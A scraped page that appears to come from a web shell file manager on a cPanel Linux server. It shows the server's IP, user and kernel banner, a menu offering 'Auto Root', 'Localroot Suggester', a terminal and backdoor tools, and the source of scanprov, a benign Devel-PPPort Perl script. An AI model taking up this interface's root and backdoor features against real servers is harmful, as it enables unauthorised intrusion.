Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
cpan /
Devel-PPPort /
devel /
Delete
Unzip
Name
Size
Permission
Date
Action
buildperl.pl
13.96
KB
-r--r--r--
2014-12-27 11:48
devtools.pl
2.41
KB
-r--r--r--
2014-12-27 11:48
mkapidoc.sh
2.06
KB
-r--r--r--
2014-12-27 11:48
mktodo
1.68
KB
-r--r--r--
2014-12-27 11:48
mktodo.pl
7.64
KB
-r--r--r--
2014-12-27 11:48
regenerate
4.07
KB
-r--r--r--
2014-12-27 11:48
scanprov
2.16
KB
-r--r--r--
2014-12-27 11:48
Save
Rename
#!/usr/bin/perl -w ################################################################################ # # scanprov -- scan Perl headers for provided macros # ################################################################################ # # Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz. # Version 2.x, Copyright (C) 2001, Paul Marquess. # Version 1.x, Copyright (C) 1999, Kenneth Albanowski. # # This program is free software; you can redistribute it and/or # modify it under the same terms as Perl itself. # ################################################################################ use strict; use Getopt::Long; require 'parts/ppptools.pl'; our %opt = ( mode => 'check', install => '/tmp/perl/install/default', blead => 'bleadperl', ); GetOptions(\%opt, qw( install=s mode=s blead=s )) or die; my $write = $opt{mode} eq 'write'; my %embed = map { ( $_->{name} => 1 ) } parse_embed(qw(parts/embed.fnc parts/apidoc.fnc parts/ppport.fnc )); my @provided = grep { !exists $embed{$_} } map { /^(\w+)/ ? $1 : () } `$^X ppport.h --list-provided`; my @perls = sort { $b->{version} <=> $a->{version} } map { { version => `$_ -e 'printf "%.6f", \$]'`, path => $_ } } ($opt{blead}, glob "$opt{install}/*/bin/perl5.*"); for (1 .. $#perls) { $perls[$_]{todo} = $perls[$_-1]{version}; } shift @perls; my %v; for my $p (@perls) { print "checking perl $p->{version}...\n"; my $archlib = `$p->{path} -MConfig -l -e 'print \$Config{archlib}'`; chomp $archlib; local @ARGV = glob "$archlib/CORE/*.h"; my %sym; while (<>) { $sym{$_}++ for /(\w+)/g; } @provided = map { $sym{$_} or $v{$p->{todo}}{$_}++; $sym{$_} ? $_ : () } @provided; } my $out = 'parts/base'; my $todo = parse_todo($out); for my $v (keys %v) { my @new = sort grep { !exists $todo->{$_} } keys %{$v{$v}}; @new or next; my $file = $v; $file =~ s/\.//g; $file = "$out/$file"; -e $file or die "non-existent: $file\n"; print "-- $file --\n"; $write and (open F, ">>$file" or die "$file: $!\n"); for (@new) { print "adding $_\n"; $write and printf F "%-30s # added by $0\n", $_; } $write and close F; }